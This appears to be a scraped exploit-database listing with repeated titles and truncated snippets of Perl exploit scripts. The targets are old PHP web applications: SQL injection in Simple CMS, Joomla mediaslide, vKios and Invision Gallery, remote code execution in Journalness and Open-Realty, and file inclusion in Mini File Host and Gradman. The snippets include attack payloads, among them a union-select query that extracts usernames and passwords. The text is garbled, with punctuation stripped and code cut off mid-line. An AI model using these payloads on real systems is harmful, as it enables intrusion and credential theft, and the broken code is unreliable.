Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Simple CMS = 1.0.3 ?area= Remote SQL Injection Exploit Code by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project http://www.spanish-hackers.com special thanks to ka0x print " "; print " Simple CMS = 1.0.3 Remote SQL...

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Simple CMS new or die; my...

Simple CMS 1.0.3 - area SQL Injection

Simple CMS 1.0.3 - area SQL Injection !/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else...

joomlamedia-sql.txt

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

Joomla! Component mediaslide - albumnum Blind SQL Injection

Joomla! Component mediaslide - albumnum Blind SQL Injection !/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table ...

Joomla! Component mediaslide - 'albumnum' Blind SQL Injection

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

vKios 2.0.0 - cat SQL Injection

vKios 2.0.0 - cat SQL Injection !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

vkios-sql.txt

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "...

Journalness 4.1 - last_module Remote Code Execution

Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...

Journalness &lt;= 4.1 (last_module) Remote Code Execution exploit

No description provided by source. !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness = 4.1 Remote Code Execution exploit By Iron - randombase.com Greets to everyo...

Open-Realty 2.4.3 - 'last_module' Remote Code Execution

!/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? ";...

Journalness 4.1 - 'last_module' Remote Code Execution

!/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to...

ibProArcade 3.3.0 - SQL Injection

!/usr/bin/perl ibProArcade "r57ibProArcade" ; $mw-geometry '420x310' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'ibProArcade sql injection exploit by RST/GHC', -font = 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack;...

igal207-sql.txt

!/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left', -anchor =...

Invision Gallery 2.0.7 - SQL Injection

Invision Gallery 2.0.7 - SQL Injection !/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack;...

Invision Gallery 2.0.7 - SQL Injection

!/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left', -anchor =...

Mini File Host 1.2.1 (upload.php language) Local File Inclusion Exploit

No description provided by source. !/usr/bin/perl Name: Mini File Host 1.2.1 "Security Fixed release" and earlier Vulnerability type: Local File Inclusion through POST requests pages/upload.php Authors: Scary-Boys: original GET-vulnerability, 2008-01-17 shinmai: POST-request vulnerability in late...

Mini File Host 1.2.1 - 'language' Local File Inclusion

!/usr/bin/perl Name: Mini File Host 1.2.1 "Security Fixed release" and earlier Vulnerability type: Local File Inclusion through POST requests pages/upload.php Authors: Scary-Boys: original GET-vulnerability, 2008-01-17 shinmai: POST-request vulnerability in latest version perl POC, 2008-01-19...

Gradman <= 0.1.3 (agregar_info.php) Local File Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================ Gradman = 0.1.3 agregarinfo.php Local File Inclusion Exploit ================================================================ --==+=================== Spanish Hackers Team...